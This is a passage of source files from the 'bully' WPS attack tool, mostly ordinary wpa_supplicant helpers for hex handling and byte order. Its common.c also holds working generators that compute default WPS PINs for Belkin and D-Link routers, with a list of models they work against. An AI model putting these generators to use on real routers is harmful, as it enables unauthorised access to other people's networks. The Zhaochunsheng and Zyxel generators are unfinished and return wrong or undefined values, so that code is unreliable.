CONFIG_ANSI_C_EXTRA #define CONFIG_NO_WPA_MSG #define CONFIG_NO_HOSTAPD_LOGGER #define CONFIG_NO_STDOUT_DEBUG #define CONFIG_BACKEND_FILE #define CONFIG_INTERNAL_LIBTOMMATH #define CONFIG_CRYPTO_INTERNAL #define IEEE8021X_EAPOL #define PKCS12_FUNCS #define EAP_MD5 #define EAP_TLS #define EAP_MSCHAPv2 #define EAP_PEAP #define EAP_TTLS #define EAP_GTC #define EAP_OTP #define EAP_LEAP #define EAP_FAST #endif /* __SYMBIAN32__ */ #ifdef CONFIG_XCODE_DEFAULTS #define CONFIG_DRIVER_OSX #define CONFIG_BACKEND_FILE #define IEEE8021X_EAPOL #define PKCS12_FUNCS #define CONFIG_CTRL_IFACE #define CONFIG_CTRL_IFACE_UNIX #define CONFIG_DEBUG_FILE #define EAP_MD5 #define EAP_TLS #define EAP_MSCHAPv2 #define EAP_PEAP #define EAP_TTLS #define EAP_GTC #define EAP_OTP #define EAP_LEAP #define EAP_TNC #define CONFIG_WPS #define EAP_WSC #ifdef USE_INTERNAL_CRYPTO #define CONFIG_TLS_INTERNAL_CLIENT #define CONFIG_INTERNAL_LIBTOMMATH #define CONFIG_CRYPTO_INTERNAL #endif /* USE_INTERNAL_CRYPTO */ #endif /* CONFIG_XCODE_DEFAULTS */ #endif /* BUILD_CONFIG_H */ bully-1.4-00/src/utils/common.c000077500000000000000000000343221361530463600163230ustar00rootroot00000000000000/* * wpa_supplicant/hostapd / common helper functions, etc. * Copyright (c) 2002-2007, Jouni Malinen * * This program is free software; you can redistribute it and/or modify * it under the terms of the GNU General Public License version 2 as * published by the Free Software Foundation. * * Alternatively, this software may be distributed under the terms of BSD * license. * * See README and COPYING for more details. */ #include "includes.h" #include "common.h" static int hex2num(char c) { if (c >= '0' && c <= '9') return c - '0'; if (c >= 'a' && c <= 'f') return c - 'a' + 10; if (c >= 'A' && c <= 'F') return c - 'A' + 10; return -1; } static int hex2byte(const char *hex) { int a, b; a = hex2num(*hex++); if (a < 0) return -1; b = hex2num(*hex++); if (b < 0) return -1; return (a << 4) | b; } /** * hwaddr_aton - Convert ASCII string to MAC address (colon-delimited format) * @txt: MAC address as a string (e.g., "00:11:22:33:44:55") * @addr: Buffer for the MAC address (ETH_ALEN = 6 bytes) * Returns: 0 on success, -1 on failure (e.g., string not a MAC address) */ int hwaddr_aton(const char *txt, u8 *addr) { int i; for (i = 0; i < 6; i++) { int a, b; a = hex2num(*txt++); if (a < 0) return -1; b = hex2num(*txt++); if (b < 0) return -1; *addr++ = (a << 4) | b; if (i < 5 && *txt++ != ':') return -1; } return 0; } /** * hwaddr_aton2 - Convert ASCII string to MAC address (in any known format) * @txt: MAC address as a string (e.g., 00:11:22:33:44:55 or 0011.2233.4455) * @addr: Buffer for the MAC address (ETH_ALEN = 6 bytes) * Returns: Characters used (> 0) on success, -1 on failure */ int hwaddr_aton2(const char *txt, u8 *addr) { int i; const char *pos = txt; for (i = 0; i < 6; i++) { int a, b; while (*pos == ':' || *pos == '.' || *pos == '-') pos++; a = hex2num(*pos++); if (a < 0) return -1; b = hex2num(*pos++); if (b < 0) return -1; *addr++ = (a << 4) | b; } return pos - txt; } /** * hexstr2bin - Convert ASCII hex string into binary data * @hex: ASCII hex string (e.g., "01ab") * @buf: Buffer for the binary data * @len: Length of the text to convert in bytes (of buf); hex will be double * this size * Returns: 0 on success, -1 on failure (invalid hex string) */ int hexstr2bin(const char *hex, u8 *buf, size_t len) { size_t i; int a; const char *ipos = hex; u8 *opos = buf; for (i = 0; i < len; i++) { a = hex2byte(ipos); if (a < 0) return -1; *opos++ = a; ipos += 2; } return 0; } /** * inc_byte_array - Increment arbitrary length byte array by one * @counter: Pointer to byte array * @len: Length of the counter in bytes * * This function increments the last byte of the counter by one and continues * rolling over to more significant bytes if the byte was incremented from * 0xff to 0x00. */ void inc_byte_array(u8 *counter, size_t len) { int pos = len - 1; while (pos >= 0) { counter[pos]++; if (counter[pos] != 0) break; pos--; } } void wpa_get_ntp_timestamp(u8 *buf) { struct os_time now; u32 sec, usec; be32 tmp; /* 64-bit NTP timestamp (time from 1900-01-01 00:00:00) */ os_get_time(&now); sec = now.sec + 2208988800U; /* Epoch to 1900 */ /* Estimate 2^32/10^6 = 4295 - 1/32 - 1/512 */ usec = now.usec; usec = 4295 * usec - (usec >> 5) - (usec >> 9); tmp = host_to_be32(sec); os_memcpy(buf, (u8 *) &tmp, 4); tmp = host_to_be32(usec); os_memcpy(buf + 4, (u8 *) &tmp, 4); } static inline int _wpa_snprintf_hex(char *buf, size_t buf_size, const u8 *data, size_t len, int uppercase) { size_t i; char *pos = buf, *end = buf + buf_size; int ret; if (buf_size == 0) return 0; for (i = 0; i < len; i++) { ret = os_snprintf(pos, end - pos, uppercase ? "%02X" : "%02x", data[i]); if (ret < 0 || ret >= end - pos) { end[-1] = '\0'; return pos - buf; } pos += ret; } end[-1] = '\0'; return pos - buf; } /** * wpa_snprintf_hex - Print data as a hex string into a buffer * @buf: Memory area to use as the output buffer * @buf_size: Maximum buffer size in bytes (should be at least 2 * len + 1) * @data: Data to be printed * @len: Length of data in bytes * Returns: Number of bytes written */ int wpa_snprintf_hex(char *buf, size_t buf_size, const u8 *data, size_t len) { return _wpa_snprintf_hex(buf, buf_size, data, len, 0); } /** * wpa_snprintf_hex_uppercase - Print data as a upper case hex string into buf * @buf: Memory area to use as the output buffer * @buf_size: Maximum buffer size in bytes (should be at least 2 * len + 1) * @data: Data to be printed * @len: Length of data in bytes * Returns: Number of bytes written */ int wpa_snprintf_hex_uppercase(char *buf, size_t buf_size, const u8 *data, size_t len) { return _wpa_snprintf_hex(buf, buf_size, data, len, 1); } #ifdef CONFIG_ANSI_C_EXTRA #ifdef _WIN32_WCE void perror(const char *s) { wpa_printf(MSG_ERROR, "%s: GetLastError: %d", s, (int) GetLastError()); } #endif /* _WIN32_WCE */ int optind = 1; int optopt; char *optarg; int getopt(int argc, char *const argv[], const char *optstring) { static int optchr = 1; char *cp; if (optchr == 1) { if (optind >= argc) { /* all arguments processed */ return EOF; } if (argv[optind][0] != '-' || argv[optind][1] == '\0') { /* no option characters */ return EOF; } } if (os_strcmp(argv[optind], "--") == 0) { /* no more options */ optind++; return EOF; } optopt = argv[optind][optchr]; cp = os_strchr(optstring, optopt); if (cp == NULL || optopt == ':') { if (argv[optind][++optchr] == '\0') { optchr = 1; optind++; } return '?'; } if (cp[1] == ':') { /* Argument required */ optchr = 1; if (argv[optind][optchr + 1]) { /* No space between option and argument */ optarg = &argv[optind++][optchr + 1]; } else if (++optind >= argc) { /* option requires an argument */ return '?'; } else { /* Argument in the next argv */ optarg = argv[optind++]; } } else { /* No argument */ if (argv[optind][++optchr] == '\0') { optchr = 1; optind++; } optarg = NULL; } return *cp; } #endif /* CONFIG_ANSI_C_EXTRA */ #ifdef CONFIG_NATIVE_WINDOWS /** * wpa_unicode2ascii_inplace - Convert unicode string into ASCII * @str: Pointer to string to convert * * This function converts a unicode string to ASCII using the same * buffer for output. If UNICODE is not set, the buffer is not * modified. */ void wpa_unicode2ascii_inplace(TCHAR *str) { #ifdef UNICODE char *dst = (char *) str; while (*str) *dst++ = (char) *str++; *dst = '\0'; #endif /* UNICODE */ } TCHAR * wpa_strdup_tchar(const char *str) { #ifdef UNICODE TCHAR *buf; buf = os_malloc((strlen(str) + 1) * sizeof(TCHAR)); if (buf == NULL) return NULL; wsprintf(buf, L"%S", str); return buf; #else /* UNICODE */ return os_strdup(str); #endif /* UNICODE */ } #endif /* CONFIG_NATIVE_WINDOWS */ /** * wpa_ssid_txt - Convert SSID to a printable string * @ssid: SSID (32-octet string) * @ssid_len: Length of ssid in octets * Returns: Pointer to a printable string * * This function can be used to convert SSIDs into printable form. In most * cases, SSIDs do not use unprintable characters, but IEEE 802.11 standard * does not limit the used character set, so anything could be used in an SSID. * * This function uses a static buffer, so only one call can be used at the * time, i.e., this is not re-entrant and the returned buffer must be used * before calling this again. */ const char * wpa_ssid_txt(const u8 *ssid, size_t ssid_len) { static char ssid_txt[33]; char *pos; if (ssid_len > 32) ssid_len = 32; os_memcpy(ssid_txt, ssid, ssid_len); ssid_txt[ssid_len] = '\0'; for (pos = ssid_txt; *pos != '\0'; pos++) { if ((u8) *pos < 32 || (u8) *pos >= 127) *pos = '_'; } return ssid_txt; } void * __hide_aliasing_typecast(void *foo) { return foo; } /* * WPS pin generator for some Belkin routers. Default pin is generated from the * BSSID and serial number. BSSIDs are not encrypted and the serial number is * included in the WPS information element contained in 802.11 probe response * packets. * * Known to work against: * * o F9K1001v4 [Broadcom, Arcadyan, SuperTask!] * o F9K1001v5 [Broadcom, Arcadyan, SuperTask!] * o F9K1002v1 [Realtek, SerComm] * o F9K1002v2 [Ralink, Arcadyan] * o F9K1002v5 [Broadcom, Arcadyan] * o F9K1103v1 [Ralink, Arcadyan, Linux] * o F9K1112v1 [Broadcom, Arcadyan, Linux] * o F9K1113v1 [Broadcom, Arcadyan, Linux] * o F9K1105v1 [Broadcom, Arcadyan, Linux] * o F6D4230-4v2 [Ralink, Arcadyan, Unknown RTOS] * o F6D4230-4v3 [Broadcom, Arcadyan, SuperTask!] * o F7D2301v1 [Ralink, Arcadyan, SuperTask!] * o F7D1301v1 [Broadcom, Arcadyan, Unknown RTOS] * o F5D7234-4v3 [Atheros, Arcadyan, Unknown RTOS] * o F5D7234-4v4 [Atheros, Arcadyan, Unknown RTOS] * o F5D7234-4v5 [Broadcom, Arcadyan, SuperTask!] * o F5D8233-4v1 [Infineon, Arcadyan, SuperTask!] * o F5D8233-4v3 [Ralink, Arcadyan, Unknown RTOS] * o F5D9231-4v1 [Ralink, Arcadyan, SuperTask!] * * Known to NOT work against: * * o F9K1001v1 [Realtek, SerComm, Unknown RTOS] * o F9K1105v2 [Realtek, SerComm, Linux] * o F6D4230-4v1 [Ralink, SerComm, Unknown RTOS] * o F5D9231-4v2 [Ralink, SerComm, Unknown RTOS] * o F5D8233-4v4 [Ralink, SerComm, Unknown RTOS] * */ /* http://www.devttys0.com/2015/04/reversing-belkins-wps-pin-algorithm/ */ int char2int(char c) { char buf[2] = { 0 }; buf[0] = c; return strtol(buf, NULL, 16); } /* http://www.devttys0.com/2015/04/reversing-belkins-wps-pin-algorithm/ */ /* Generates a standard WPS checksum from a 7 digit pin */ int wps_checksum(int pin) { int div = 0; while(pin) { div += 3 * (pin % 10); pin /= 10; div += pin % 10; pin /= 10; } return ((10 - div % 10) % 10); } unsigned int hexToInt(const char *hex) { unsigned int result = 0; while (*hex) { if (*hex > 47 && *hex < 58) result += (*hex - 48); else if (*hex > 64 && *hex < 71) result += (*hex - 55); else if (*hex > 96 && *hex < 103) result += (*hex - 87); if (*++hex) result <<= 4; } return result; } /* Belkin Default Pin generator created by devttys0 team */ /* http://www.devttys0.com/2015/04/reversing-belkins-wps-pin-algorithm/ */ /* Munges the MAC and serial numbers to create a WPS pin */ int pingen_belkin(char *mac, char *serial, int len_serial, int add) { #define NIC_NIBBLE_0 0 #define NIC_NIBBLE_1 1 #define NIC_NIBBLE_2 2 #define NIC_NIBBLE_3 3 #define SN_DIGIT_0 0 #define SN_DIGIT_1 1 #define SN_DIGIT_2 2 #define SN_DIGIT_3 3 int sn[4], nic[4]; int mac_len, serial_len; int k1, k2, pin; int p1, p2, p3; int t1, t2; char buff_mac[24]; int buff_mac_i; mac_len = strlen(mac); serial_len = len_serial; //serial[len_serial] = '\0'; buff_mac_i = hexToInt(mac); buff_mac_i = buff_mac_i + add; sprintf(buff_mac,"%X",buff_mac_i); mac_len = strlen(buff_mac); /* Get the four least significant digits of the serial number */ sn[SN_DIGIT_0] = char2int(serial[serial_len-1]); sn[SN_DIGIT_1] = char2int(serial[serial_len-2]); sn[SN_DIGIT_2] = char2int(serial[serial_len-3]); sn[SN_DIGIT_3] = char2int(serial[serial_len-4]); /* Get the four least significant nibbles of the MAC address */ nic[NIC_NIBBLE_0] = char2int(buff_mac[mac_len-1]); nic[NIC_NIBBLE_1] = char2int(buff_mac[mac_len-2]); nic[NIC_NIBBLE_2] = char2int(buff_mac[mac_len-3]); nic[NIC_NIBBLE_3] = char2int(buff_mac[mac_len-4]); k1 = (sn[SN_DIGIT_2] + sn[SN_DIGIT_3] + nic[NIC_NIBBLE_0] + nic[NIC_NIBBLE_1]) % 16; k2 = (sn[SN_DIGIT_0] + sn[SN_DIGIT_1] + nic[NIC_NIBBLE_3] + nic[NIC_NIBBLE_2]) % 16; pin = k1 ^ sn[SN_DIGIT_1]; t1 = k1 ^ sn[SN_DIGIT_0]; t2 = k2 ^ nic[NIC_NIBBLE_1]; p1 = nic[NIC_NIBBLE_0] ^ sn[SN_DIGIT_1] ^ t1; p2 = k2 ^ nic[NIC_NIBBLE_0] ^ t2; p3 = k1 ^ sn[SN_DIGIT_2] ^ k2 ^ nic[NIC_NIBBLE_2]; k1 = k1 ^ k2; pin = (pin ^ k1) * 16; pin = (pin + t1) * 16; pin = (pin + p1) * 16; pin = (pin + t2) * 16; pin = (pin + p2) * 16; pin = (pin + k1) * 16; pin += p3; pin = (pin % 10000000) - (((pin % 10000000) / 10000000) * k1); //pingen mac init c83a35 //printf("WPS PIN is: %07d%d\n",4402328%10000000,wps_checksum(4402328%10000000)); return (pin * 10) + wps_checksum(pin); } /* Calculates the default WPS pin from the BSSID/MAC of many D-Link routers/APs. Craig Heffner Tactical Network Solutions http://www.devttys0.com/2014/10/reversing-d-links-wps-pin-algorithm/ */ int pingen_dlink(char *mac, int add) { int nic=0, pin=0; char buff[10]; nic = hexToInt(strncpy(buff, mac+6, sizeof(buff))); nic = nic + add; pin = nic ^ 0x55AA55; pin = pin ^ (((pin & 0x0F) << 4) + ((pin & 0x0F) << 8) + ((pin & 0x0F) << 12) + ((pin & 0x0F) << 16) + ((pin & 0x0F) << 20)); pin = pin % (int) 10e6; if (pin < (int) 10e5) { pin += ((pin % 9) * (int)10e5) + (int)10e5; } return (pin * 10) + wps_checksum(pin); } //Zhaochunsheng algorithm/ int pingen_zhaochunsheng(char *mac, int add) { int default_pin=0, pin=0, i=0, pin_len = 9; //char *bssid = mac2str(get_bssid(), ':'); char *bssid_copy = (char *)malloc(strlen(mac) + 1); char *bssid_parts, temp[7] = { 0 }; strcpy(bssid_copy, mac); bssid_parts = strtok(bssid_copy, ":"); while(bssid_parts) { if(i > 2) { strcat(temp, bssid_parts); } bssid_parts = strtok(NULL, ":"); ++i; } temp[6] = '\0'; sscanf(temp, "%x", &default_pin); default_pin = default_pin % 10000000; //snprintf(pin, pin_len, "%08d", (default_pin * 10) + wps_checksum(default_pin)); return pin; } //mac to decimal by kib0rg int pingen_zyxel(char *mac, int add) { //pingen make by kib0rg, a little change by t6x int pin; char mac_address[7] = {0}; sprintf(mac_address, "%c%c%c%c%c%c", mac[6], mac[7], mac[8], mac[9], mac[10], mac[11]); pin = (hexToInt(mac_address) + add) % 10000000; //return (pin * 10) + wps_pin_checksum(pin); } bully-1.4-00/src/utils/common.h000077500000000000000000000313321361530463600163260ustar00rootroot00000000000000/* * wpa_supplicant/hostapd / common helper functions, etc. * Copyright (c) 2002-2007, Jouni Malinen * * This program is free software; you can redistribute it and/or modify * it under the terms of the GNU General Public License version 2 as * published by the Free Software Foundation. * * Alternatively, this software may be distributed under the terms of BSD * license. * * See README and COPYING for more details. */ #ifndef COMMON_H #define COMMON_H #include "os.h" #if defined(__linux__) || defined(__GLIBC__) #include #include #endif /* __linux__ */ #if defined(__FreeBSD__) || defined(__NetBSD__) || defined(__DragonFly__) || \ defined(__OpenBSD__) #include #include #define __BYTE_ORDER _BYTE_ORDER #define __LITTLE_ENDIAN _LITTLE_ENDIAN #define __BIG_ENDIAN _BIG_ENDIAN #ifdef __OpenBSD__ #define bswap_16 swap16 #define bswap_32 swap32 #define bswap_64 swap64 #else /* __OpenBSD__ */ #define bswap_16 bswap16 #define bswap_32 bswap32 #define bswap_64 bswap64 #endif /* __OpenBSD__ */ #endif /* defined(__FreeBSD__) || defined(__NetBSD__) || * defined(__DragonFly__) || defined(__OpenBSD__) */ #ifdef __APPLE__ #include #include #define __BYTE_ORDER _BYTE_ORDER #define __LITTLE_ENDIAN _LITTLE_ENDIAN #define __BIG_ENDIAN _BIG_ENDIAN static inline unsigned short bswap_16(unsigned short v) { return ((v & 0xff) << 8) | (v >> 8); } static inline unsigned int bswap_32(unsigned int v) { return ((v & 0xff) << 24) | ((v & 0xff00) << 8) | ((v & 0xff0000) >> 8) | (v >> 24); } #endif /* __APPLE__ */ #ifdef CONFIG_TI_COMPILER #define __BIG_ENDIAN 4321 #define __LITTLE_ENDIAN 1234 #ifdef __big_endian__ #define __BYTE_ORDER __BIG_ENDIAN #else #define __BYTE_ORDER __LITTLE_ENDIAN #endif #endif /* CONFIG_TI_COMPILER */ #ifdef __SYMBIAN32__ #define __BIG_ENDIAN 4321 #define __LITTLE_ENDIAN 1234 #define __BYTE_ORDER __LITTLE_ENDIAN #endif /* __SYMBIAN32__ */ #ifdef CONFIG_NATIVE_WINDOWS #include typedef int socklen_t; #ifndef MSG_DONTWAIT #define MSG_DONTWAIT 0 /* not supported */ #endif #endif /* CONFIG_NATIVE_WINDOWS */ #ifdef _MSC_VER #define inline __inline #undef vsnprintf #define vsnprintf _vsnprintf #undef close #define close closesocket #endif /* _MSC_VER */ /* Define platform specific integer types */ #ifdef _MSC_VER typedef UINT64 u64; typedef UINT32 u32; typedef UINT16 u16; typedef UINT8 u8; typedef INT64 s64; typedef INT32 s32; typedef INT16 s16; typedef INT8 s8; #define WPA_TYPES_DEFINED #endif /* _MSC_VER */ #ifdef __vxworks typedef unsigned long long u64; typedef UINT32 u32; typedef UINT16 u16; typedef UINT8 u8; typedef long long s64; typedef INT32 s32; typedef INT16 s16; typedef INT8 s8; #define WPA_TYPES_DEFINED #endif /* __vxworks */ #ifdef CONFIG_TI_COMPILER #ifdef _LLONG_AVAILABLE typedef unsigned long long u64; #else /* * TODO: 64-bit variable not available. Using long as a workaround to test the * build, but this will likely not work for all operations. */ typedef unsigned long u64; #endif typedef unsigned int u32; typedef unsigned short u16; typedef unsigned char u8; #define WPA_TYPES_DEFINED #endif /* CONFIG_TI_COMPILER */ #ifdef __SYMBIAN32__ #define __REMOVE_PLATSEC_DIAGNOSTICS__ #include typedef TUint64 u64; typedef TUint32 u32; typedef TUint16 u16; typedef TUint8 u8; #define WPA_TYPES_DEFINED #endif /* __SYMBIAN32__ */ #ifndef WPA_TYPES_DEFINED #ifdef CONFIG_USE_INTTYPES_H #include #else #include #endif typedef uint64_t u64; typedef uint32_t u32; typedef uint16_t u16; typedef uint8_t u8; typedef int64_t s64; typedef int32_t s32; typedef int16_t s16; typedef int8_t s8; #define WPA_TYPES_DEFINED #endif /* !WPA_TYPES_DEFINED */ /* Define platform specific byte swapping macros */ #if defined(__CYGWIN__) || defined(CONFIG_NATIVE_WINDOWS) static inline unsigned short wpa_swap_16(unsigned short v) { return ((v & 0xff) << 8) | (v >> 8); } static inline unsigned int wpa_swap_32(unsigned int v) { return ((v & 0xff) << 24) | ((v & 0xff00) << 8) | ((v & 0xff0000) >> 8) | (v >> 24); } #define le_to_host16(n) (n) #define host_to_le16(n) (n) #define be_to_host16(n) wpa_swap_16(n) #define host_to_be16(n) wpa_swap_16(n) #define le_to_host32(n) (n) #define be_to_host32(n) wpa_swap_32(n) #define host_to_be32(n) wpa_swap_32(n) #define WPA_BYTE_SWAP_DEFINED #endif /* __CYGWIN__ || CONFIG_NATIVE_WINDOWS */ #ifndef WPA_BYTE_SWAP_DEFINED #ifndef __BYTE_ORDER #ifndef __LITTLE_ENDIAN #ifndef __BIG_ENDIAN #define __LITTLE_ENDIAN 1234 #define __BIG_ENDIAN 4321 #if defined(sparc) #define __BYTE_ORDER __BIG_ENDIAN #endif #endif /* __BIG_ENDIAN */ #endif /* __LITTLE_ENDIAN */ #endif /* __BYTE_ORDER */ #if __BYTE_ORDER == __LITTLE_ENDIAN #define le_to_host16(n) ((__force u16) (le16) (n)) #define host_to_le16(n) ((__force le16) (u16) (n)) #define be_to_host16(n) bswap_16((__force u16) (be16) (n)) #define host_to_be16(n) ((__force be16) bswap_16((n))) #define le_to_host32(n) ((__force u32) (le32) (n)) #define host_to_le32(n) ((__force le32) (u32) (n)) #define be_to_host32(n) bswap_32((__force u32) (be32) (n)) #define host_to_be32(n) ((__force be32) bswap_32((n))) #define le_to_host64(n) ((__force u64) (le64) (n)) #define host_to_le64(n) ((__force le64) (u64) (n)) #define be_to_host64(n) bswap_64((__force u64) (be64) (n)) #define host_to_be64(n) ((__force be64) bswap_64((n))) #elif __BYTE_ORDER == __BIG_ENDIAN #define le_to_host16(n) bswap_16(n) #define host_to_le16(n) bswap_16(n) #define be_to_host16(n) (n) #define host_to_be16(n) (n) #define le_to_host32(n) bswap_32(n) #define be_to_host32(n) (n) #define host_to_be32(n) (n) #define le_to_host64(n) bswap_64(n) #define host_to_le64(n) bswap_64(n) #define be_to_host64(n) (n) #define host_to_be64(n) (n) #ifndef WORDS_BIGENDIAN #define WORDS_BIGENDIAN #endif #else #error Could not determine CPU byte order #endif #define WPA_BYTE_SWAP_DEFINED #endif /* !WPA_BYTE_SWAP_DEFINED */ /* Macros for handling unaligned memory accesses */ #define WPA_GET_BE16(a) ((u16) (((a)[0] << 8) | (a)[1])) #define WPA_PUT_BE16(a, val) \ do { \ (a)[0] = ((u16) (val)) >> 8; \ (a)[1] = ((u16) (val)) & 0xff; \ } while (0) #define WPA_GET_LE16(a) ((u16) (((a)[1] << 8) | (a)[0])) #define WPA_PUT_LE16(a, val) \ do { \ (a)[1] = ((u16) (val)) >> 8; \ (a)[0] = ((u16) (val)) & 0xff; \ } while (0) #define WPA_GET_BE24(a) ((((u32) (a)[0]) << 16) | (((u32) (a)[1]) << 8) | \ ((u32) (a)[2])) #define WPA_PUT_BE24(a, val) \ do { \ (a)[0] = (u8) ((((u32) (val)) >> 16) & 0xff); \ (a)[1] = (u8) ((((u32) (val)) >> 8) & 0xff); \ (a)[2] = (u8) (((u32) (val)) & 0xff); \ } while (0) #define WPA_GET_BE32(a) ((((u32) (a)[0]) << 24) | (((u32) (a)[1]) << 16) | \ (((u32) (a)[2]) << 8) | ((u32) (a)[3])) #define WPA_PUT_BE32(a, val) \ do { \ (a)[0] = (u8) ((((u32) (val)) >> 24) & 0xff); \ (a)[1] = (u8) ((((u32) (val)) >> 16) & 0xff); \ (a)[2] = (u8) ((((u32) (val)) >> 8) & 0xff); \ (a)[3] = (u8) (((u32) (val)) & 0xff); \ } while (0) #define WPA_GET_LE32(a) ((((u32) (a)[3]) << 24) | (((u32) (a)[2]) << 16) | \ (((u32) (a)[1]) << 8) | ((u32) (a)[0])) #define WPA_PUT_LE32(a, val) \ do { \ (a)[3] = (u8) ((((u32) (val)) >> 24) & 0xff); \ (a)[2] = (u8) ((((u32) (val)) >> 16) & 0xff); \ (a)[1] = (u8) ((((u32) (val)) >> 8) & 0xff); \ (a)[0] = (u8) (((u32) (val)) & 0xff); \ } while (0) #define WPA_GET_BE64(a) ((((u64) (a)[0]) << 56) | (((u64) (a)[1]) << 48) | \ (((u64) (a)[2]) << 40) | (((u64) (a)[3]) << 32) | \ (((u64) (a)[4]) << 24) | (((u64) (a)[5]) << 16) | \ (((u64) (a)[6]) << 8) | ((u64) (a)[7])) #define WPA_PUT_BE64(a, val) \ do { \ (a)[0] = (u8) (((u64) (val)) >> 56); \ (a)[1] = (u8) (((u64) (val)) >> 48); \ (a)[2] = (u8) (((u64) (val)) >> 40); \ (a)[3] = (u8) (((u64) (val)) >> 32); \ (a)[4] = (u8) (((u64) (val)) >> 24); \ (a)[5] = (u8) (((u64) (val)) >> 16); \ (a)[6] = (u8) (((u64) (val)) >> 8); \ (a)[7] = (u8) (((u64) (val)) & 0xff); \ } while (0) #define WPA_GET_LE64(a) ((((u64) (a)[7]) << 56) | (((u64) (a)[6]) << 48) | \ (((u64) (a)[5]) << 40) | (((u64) (a)[4]) << 32) | \ (((u64) (a)[3]) << 24) | (((u64) (a)[2]) << 16) | \ (((u64) (a)[1]) << 8) | ((u64) (a)[0])) #ifndef ETH_ALEN #define ETH_ALEN 6 #endif #ifndef IFNAMSIZ #define IFNAMSIZ 16 #endif #ifndef ETH_P_ALL #define ETH_P_ALL 0x0003 #endif #ifndef ETH_P_PAE #define ETH_P_PAE 0x888E /* Port Access Entity (IEEE 802.1X) */ #endif /* ETH_P_PAE */ #ifndef ETH_P_EAPOL #define ETH_P_EAPOL ETH_P_PAE #endif /* ETH_P_EAPOL */ #ifndef ETH_P_RSN_PREAUTH #define ETH_P_RSN_PREAUTH 0x88c7 #endif /* ETH_P_RSN_PREAUTH */ #ifndef ETH_P_RRB #define ETH_P_RRB 0x890D #endif /* ETH_P_RRB */ #ifdef __GNUC__ #define PRINTF_FORMAT(a,b) __attribute__ ((format (printf, (a), (b)))) #define STRUCT_PACKED __attribute__ ((packed)) #else #define PRINTF_FORMAT(a,b) #define STRUCT_PACKED #endif #ifdef CONFIG_ANSI_C_EXTRA #if !defined(_MSC_VER) || _MSC_VER < 1400 /* snprintf - used in number of places; sprintf() is _not_ a good replacement * due to possible buffer overflow; see, e.g., * http://www.ijs.si/software/snprintf/ for portable implementation of * snprintf. */ int snprintf(char *str, size_t size, const char *format, ...); /* vsnprintf - only used for wpa_msg() in wpa_supplicant.c */ int vsnprintf(char *str, size_t size, const char *format, va_list ap); #endif /* !defined(_MSC_VER) || _MSC_VER < 1400 */ /* getopt - only used in main.c */ int getopt(int argc, char *const argv[], const char *optstring); extern char *optarg; extern int optind; #ifndef CONFIG_NO_SOCKLEN_T_TYPEDEF #ifndef __socklen_t_defined typedef int socklen_t; #endif #endif /* inline - define as __inline or just define it to be empty, if needed */ #ifdef CONFIG_NO_INLINE #define inline #else #define inline __inline #endif #ifndef __func__ #define __func__ "__func__ not defined" #endif #ifndef bswap_16 #define bswap_16(a) ((((u16) (a) << 8) & 0xff00) | (((u16) (a) >> 8) & 0xff)) #endif #ifndef bswap_32 #define bswap_32(a) ((((u32) (a) << 24) & 0xff000000) | \ (((u32) (a) << 8) & 0xff0000) | \ (((u32) (a) >> 8) & 0xff00) | \ (((u32) (a) >> 24) & 0xff)) #endif #ifndef MSG_DONTWAIT #define MSG_DONTWAIT 0 #endif #ifdef _WIN32_WCE void perror(const char *s); #endif /* _WIN32_WCE */ #endif /* CONFIG_ANSI_C_EXTRA */ #ifndef MAC2STR #define MAC2STR(a) (a)[0], (a)[1], (a)[2], (a)[3], (a)[4], (a)[5] #define MACSTR "%02x:%02x:%02x:%02x:%02x:%02x" #endif #ifndef BIT #define BIT(x) (1 << (x)) #endif /* * Definitions for sparse validation * (http://kernel.org/pub/linux/kernel/people/josh/sparse/) */ #ifdef __CHECKER__ #define __force __attribute__((force)) #define __common_bitwise __attribute__((bitwise)) #else #define __force #define __common_bitwise #endif typedef u16 __common_bitwise be16; typedef u16 __common_bitwise le16; typedef u32 __common_bitwise be32; typedef u32 __common_bitwise le32; typedef u64 __common_bitwise be64; typedef u64 __common_bitwise le64; #ifndef __must_check #if __GNUC__ > 3 || (__GNUC__ == 3 && __GNUC_MINOR__ >= 4) #define __must_check __attribute__((__warn_unused_result__)) #else #define __must_check #endif /* __GNUC__ */ #endif /* __must_check */ int hwaddr_aton(const char *txt, u8 *addr); int hwaddr_aton2(const char *txt, u8 *addr); int hexstr2bin(const char *hex, u8 *buf, size_t len); void inc_byte_array(u8 *counter, size_t len); void wpa_get_ntp_timestamp(u8 *buf); int wpa_snprintf_hex(char *buf, size_t buf_size, const u8 *data, size_t len); int wpa_snprintf_hex_uppercase(char *buf, size_t buf_size, const u8 *data, size_t len); int pingen_belkin(char *mac, char *serial, int len_serial, int add); int pingen_dlink(char *mac, int add); #ifdef CONFIG_NATIVE_WINDOWS void wpa_unicode2ascii_inplace(TCHAR *str); TCHAR * wpa_strdup_tchar(const char *str); #else /* CONFIG_NATIVE_WINDOWS */ #define wpa_unicode2ascii_inplace(s) do { } while (0) #define wpa_strdup_tchar(s) strdup((s)) #endif /* CONFIG_NATIVE_WINDOWS */ const char * wpa_ssid_txt(const u8 *ssid, size_t ssid_len); static inline int is_zero_ether_addr(const u8 *a) { return !(a[0] | a[1] | a[2] | a[3] | a[4] | a[5]); } #include "wpa_debug.h" /* * gcc 4.4 ends up generating strict-aliasing warnings about some very common * networking socket uses that do not really result in a real problem and * cannot be easily avoided with union-based type-punning due to struct * definitions including another struct in system header files. To avoid having * to fully disable strict-aliasing warnings, provide a mechanism to hide the * typecast from aliasing for now. A cleaner solution will hopefully be found * in the future to handle these cases. */ void * __hide_aliasing_typecast(void *foo); #define aliasing_hide_typecast(a,t) (t *) __hide_aliasing_typecast((a)) #endif /* COMMON_H */ bully-1.4-00/src/utils/eloop.c000077500000000000000000000327241361530463600161550ustar00rootroot00000000000000/* * Event loop based on select() loop * Copyright (c) 2002-2009, Jouni Malinen * * This program is free software; you can redistribute it and/or modify * it under the terms of the GNU General Public License version 2 as * published by the Free Software Foundation. * * Alternatively, this software may be distributed under the terms of BSD * license. * * See README and COPYING for more details. */ #include "includes.h" #include "common.h" #include "trace.h" #include "list.h" #include "eloop.h" struct eloop_sock { int sock; void *eloop_data; void *user_data; eloop_sock_handler handler; WPA_TRACE_REF(eloop); WPA_TRACE_REF(user); WPA_TRACE_INFO }; struct eloop_timeout { struct dl_list list; struct os_time time; void *eloop_data; void *user_data; eloop_timeout_handler handler; WPA_TRACE_REF(eloop); WPA_TRACE_REF(user); WPA_TRACE_INFO }; struct eloop_signal { int sig; void *user_data; eloop_signal_handler handler; int signaled; }; struct eloop_sock_table { int count; struct eloop_sock *table; int changed; }; struct eloop_data { int max_sock; struct 